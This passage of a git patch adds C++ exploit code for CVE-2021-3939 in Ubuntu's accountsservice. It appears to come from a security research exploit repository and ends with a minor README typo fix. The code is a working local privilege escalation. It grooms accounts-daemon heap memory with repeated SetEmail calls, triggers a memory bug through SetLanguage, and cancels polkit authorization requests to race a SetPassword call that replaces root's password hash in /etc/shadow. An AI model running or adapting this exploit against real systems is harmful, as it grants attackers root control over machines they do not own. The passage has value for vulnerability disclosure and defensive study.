DBusMessage& err) override final { + logerror("Received an error in PolkitHandler."); + print_dbus_message(STDERR_FILENO, err); + throw Error("Unexpected error in PolkitHandler."); + } + + void disconnect() noexcept override final { + logerror("PolkitHandler D-Bus socket disconnected."); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "[PolkitHandler] %s\n", errmsg); + fflush(stderr); + } + + // Send at most `n` error replies to cancel the polkit requests. + // Due to the unpredicatable timing of when we receive the polkit + // requests it's possible that there are less than `n` elements in + // the queue. If so, we just stop early and don't worry about it. + // (We empty the queue at the beginning of every iteration of the + // exploit, to stop the queue from growing too big.) + void cancel_auth_requests(const size_t n) { + printf("[PolkitHandler] cancel_auth_requests queue size = %ld\n", + error_reply_queue_.size()); + fflush(stdout); + for (size_t i = 0; i < n; i++) { + if (error_reply_queue_.empty()) { + return; + } + + BatchedErrorReply& reply = error_reply_queue_.front(); + send_error_reply( + reply.replySerial_, + _s(reply.sender_), + _s("org.freedesktop.PolicyKit1.Error.Cancelled") + ); + error_reply_queue_.pop(); + } + } +}; + +class AccountsHandlerBase : public DBusHandler { +protected: + const ProgramInfo& info_; + + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::random_device rd_; + std::mt19937 gen_; + + std::string my_objectpath_; + std::string root_objectpath_; + const std::string pam_env_path_; + + // Email address for sending to the SetEmail method. + // Changing the email address triggers a call to `save_extra_data`, which + // causes a bunch of memory to be allocated and freed, but without + // increasing the total memory usage. (At least, I haven't noticed any + // memory leaks in that code.) Sometimes we do this to deliberately + // jumble the memory up so that a subsequent memory allocation will + // occupy the chunk that we want it to. Other times, we deliberately + // call the SetEmail method with the same email address as last time, so + // that we trigger a polkit check that will get approved, but without + // jumbling the memory any further. + char email_[64] = "kevwozere@kevwozere.com"; + +public: + AccountsHandlerBase( + const ProgramInfo& info + ) : + DBusHandler(info.dbus_socket_path_), + info_(info), + gen_(rd_()), + pam_env_path_(info_.homedir_ + _s("/.pam_environment")) + {} + +protected: + int quit() { + return -1; + } + + // We don't expect to receive any calls. + void receive_call(const DBusMessage&) override final { + logerror("Unexpected incoming call."); + } + + // We don't expect to receive any calls. + void receive_signal(const DBusMessage&) override final { + logerror("Received a signal."); + } + + void receive_error(const DBusMessage& err) override final { + logerror("Received an error in AccountsHandler."); + print_dbus_message(STDERR_FILENO, err); + } + + void disconnect() noexcept override final { + logerror("AccountsHandler D-Bus socket disconnected."); + } + + int findUserByID( + uid_t uid, + std::function cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectInt64::mk(uid) + ) + ), + _s("/org/freedesktop/Accounts"), + _s("org.freedesktop.Accounts"), + _s("org.freedesktop.Accounts"), + _s("FindUserById"), + [this, cb](const DBusMessage& message, bool isError) -> int { + if (isError) { + logerror("FindUserById failed"); + return cb(nullptr, true); + } else { + const std::string& userpath = + message.getBody().getElement(0)->toPath().getValue(); + printf("[AccountsHandler] FindUserById: %s\n", userpath.c_str()); + fflush(stdout); + return cb(userpath.c_str(), false); + } + } + ); + + return 0; + } + + int accounts_set_property( + const char* userpath, + const char* command, + const char* value, + reply_cb_t cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(value)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s(command), + cb + ); + + return 0; + } + + int accounts_set_password( + const char* userpath, + const char* password, + const char* hint, + reply_cb_t cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(password)), + DBusObjectString::mk(_s(hint)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetPassword"), + cb + ); + + return 0; + } + + virtual int attempt_exploit() = 0; +}; + +class AccountsHandler : public AccountsHandlerBase { + EPollManager& manager_; + + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::uniform_int_distribution<> batchsize_distrib_; + std::uniform_int_distribution<> microsec_distrib_; + + size_t batch_size_ = 0; + +private: + int quit() { + return -1; + } + + void choose_batch_size() { + batch_size_ = batchsize_distrib_(gen_); + printf("[AccountsHandler] batch size: %ld\n", batch_size_); + fflush(stdout); + } + +public: + AccountsHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + AccountsHandlerBase(info), + manager_(manager), + batchsize_distrib_(0,128), + microsec_distrib_(0,999) + {} + + virtual ~AccountsHandler() override { + manager_.accounts_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + + void accept() override final { + manager_.set_accounts_handler(this); + send_hello( + [this](const std::string& busname) -> int { + printf("[AccountsHandler] Unique bus name: %s\n", busname.c_str()); + fflush(stdout); + + return findUserByID( + info_.uid_, + [this](const char* userpath, bool isError) -> int { + if (isError) { + return quit(); + } else { + my_objectpath_ = userpath; + return attempt_exploit(); + } + } + ); + } + ); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "[AccountsHandler] %s\n", errmsg); + fflush(stderr); + } + + int attempt_exploit() { + choose_batch_size(); + + return findUserByID( + 0, + [this](const char* rootpath, bool isError) -> int { + if (isError) { + // Something went wrong. Try again. + return attempt_exploit(); + } else { + root_objectpath_ = rootpath; + + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("[AccountsHandler] Starting exploit. PID: %u\n", pid); + fflush(stdout); + + for (size_t i = 0; i < batch_size_; i++) { + // Change the email address to jumble the memory. + snprintf( + email_, sizeof(email_), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", + i + ); + + accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool) -> int { + return 0; + } + ); + + // password: KrabbyPatties + const char* password = + "$5$PPF4wUn4slXL6X09$39P6jDAQVDzE5s2kpoJVUxcoQGFtyvhiynlKMtNWlt4"; + // hint is long enough that it won't fit in an 0x20-sized chunk. + const char* hint = "Most famous burger in Bikini Bottom"; + accounts_set_password( + root_objectpath_.c_str(), password, hint, + [this](const DBusMessage&, bool isError) -> int { + if (isError) { + return 0; + } else { + printf("[AccountsHandler] SetPassword succeeded!\n"); + fflush(stdout); + return quit(); + } + } + ); + } + + // One final email change, for synchronization purposes. + return accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool isError) -> int { + // Cancel any queued polkit requests. + PolkitHandler* polkit_handler = manager_.polkit_handler(); + if (!polkit_handler) { + return quit(); + } + polkit_handler->cancel_auth_requests(std::numeric_limits::max()); + + printf("[AccountsHandler] SetEmail isError = %d\n", isError); + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("[AccountsHandler] End iteration. PID: %d\n", pid); + fflush(stdout); + + // Wait for 0..1 seconds before the next iteration. + timespec duration; + duration.tv_sec = 0; + duration.tv_nsec = microsec_distrib_(gen_) * 1000000; + clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0); + + if (info_.exploit_succeeded()) { + return quit(); + } else { + return attempt_exploit(); + } + } + ); + } + } + ); + } +}; + +class TriggerBugHandler : public AccountsHandlerBase { + EPollManager& manager_; + + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::uniform_int_distribution<> batchsize_distrib_; + + size_t batch_size_ = 0; + +private: + void choose_batch_size() { + batch_size_ = batchsize_distrib_(gen_); + printf("[TriggerBugHandler] batch size: %ld\n", batch_size_); + fflush(stdout); + } + +public: + explicit TriggerBugHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + AccountsHandlerBase(info), + manager_(manager), + batchsize_distrib_(0,32) + {} + + virtual ~TriggerBugHandler() override { + manager_.trigger_bug_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + +protected: + void accept() override final { + send_hello( + [this](const std::string& busname) -> int { + printf("[TriggerBugHandler] Unique bus name: %s\n", busname.c_str()); + fflush(stdout); + + return findUserByID( + info_.uid_, + [this](const char* userpath, bool isError) -> int { + if (isError) { + return quit(); + } else { + my_objectpath_ = userpath; + return attempt_exploit(); + } + } + ); + } + ); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "[TriggerBugHandler] %s\n", errmsg); + fflush(stderr); + } + + // This function triggers the bug by removing `~/.pam_environment` and + // calling the "SetLanguage" method. + int trigger_bug(reply_cb_t cb) { + unlink(pam_env_path_.c_str()); + return accounts_set_property( + my_objectpath_.c_str(), "SetLanguage", "kevwozere", cb + ); + } + + int attempt_exploit() { + choose_batch_size(); + + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("[TriggerBugHandler] Starting exploit. PID: %u\n", pid); + fflush(stdout); + + for (size_t i = 0; i < batch_size_; i++) { + // Change the email address to jumble the memory. + snprintf( + email_, sizeof(email_), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", + i + ); + + accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool isError) -> int { + if (isError) { + return quit(); + } else { + return 0; + } + } + ); + } + + return trigger_bug( + [this](const DBusMessage&, bool isError) -> int { + printf("[TriggerBugHandler] trigger bug: isError = %d\n", (int)isError); + fflush(stdout); + + // One final email change, for synchronization purposes. + return accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool isError) -> int { + printf("[TriggerBugHandler] SetEmail isError = %d\n", isError); + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("[TriggerBugHandler] End iteration. PID: %d\n", pid); + fflush(stdout); + + // accounts-daemon restarts will get rate-limited if it crashes more + // than 5 times in 10 seconds. It typically crashes after triggering + // the bug twice, so wait for 1 second before the next iteration. + sleep(1); + + if (info_.exploit_succeeded()) { + return quit(); + } else { + return attempt_exploit(); + } + } + ); + } + ); + } +}; + +void EPollManager::stop() const { + if (polkit_handler_) { + polkit_handler_->stop(); + } + if (accounts_handler_) { + accounts_handler_->stop(); + } + if (trigger_bug_handler_) { + trigger_bug_handler_->stop(); + } +} + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 2) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket\n", + progname, + progname + ); + return EXIT_FAILURE; + } + + const char* dbus_socket_path = argv[1]; + + try { + const pid_t cpid = fork(); + if (cpid < 0) { + throw ErrorWithErrno("fork failed"); + } + + ProgramInfo info(dbus_socket_path); + + do { + EPollLoop loop; + EPollManager manager(loop); + + if (cpid > 0) { + // In the child process, we just continually trigger the bug at + // 1-second intervals. + DBusAuthHandler* trigger_bug_auth_handler = + new DBusAuthHandler(loop, info.uid_, new TriggerBugHandler(info, manager)); + if (loop.add_handler(trigger_bug_auth_handler) < 0) { + throw Error(_s("Failed to add TriggerBugHandler")); + } + } else { + DBusAuthHandler* polkit_auth_handler = + new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager)); + if (loop.add_handler(polkit_auth_handler) < 0) { + throw Error(_s("Failed to add PolkitHandler")); + } + + DBusAuthHandler* accounts_auth_handler = + new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager)); + if (loop.add_handler(accounts_auth_handler) < 0) { + throw Error(_s("Failed to add AccountsHandler")); + } + } + + loop.run(); + } while (!info.exploit_succeeded()); + + if (cpid > 0) { + waitpid(cpid, 0, 0); + printf("%s was modified!\n", etc_shadow_path); + } + } catch (ErrorWithErrno& e) { + const int err = e.getErrno(); + fprintf(stderr, "%s\n%s\n", e.what(), strerror(err)); + return EXIT_FAILURE; + } catch (std::exception& e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} From 035ea10d414681855f3bcf162e2a6d144f9eafa6 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 9 Dec 2021 14:49:58 +0000 Subject: [PATCH 2/2] Update SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- .../README-build-accountsservice.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md index d32740e..7446e69 100644 --- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md @@ -25,7 +25,7 @@ sudo dpkg -i ../*.deb ## How to build with address sanitizer (ASAN) -The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors lie `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this: +The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors like `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this: ``` diff --git a/src/meson.build b/src/meson.build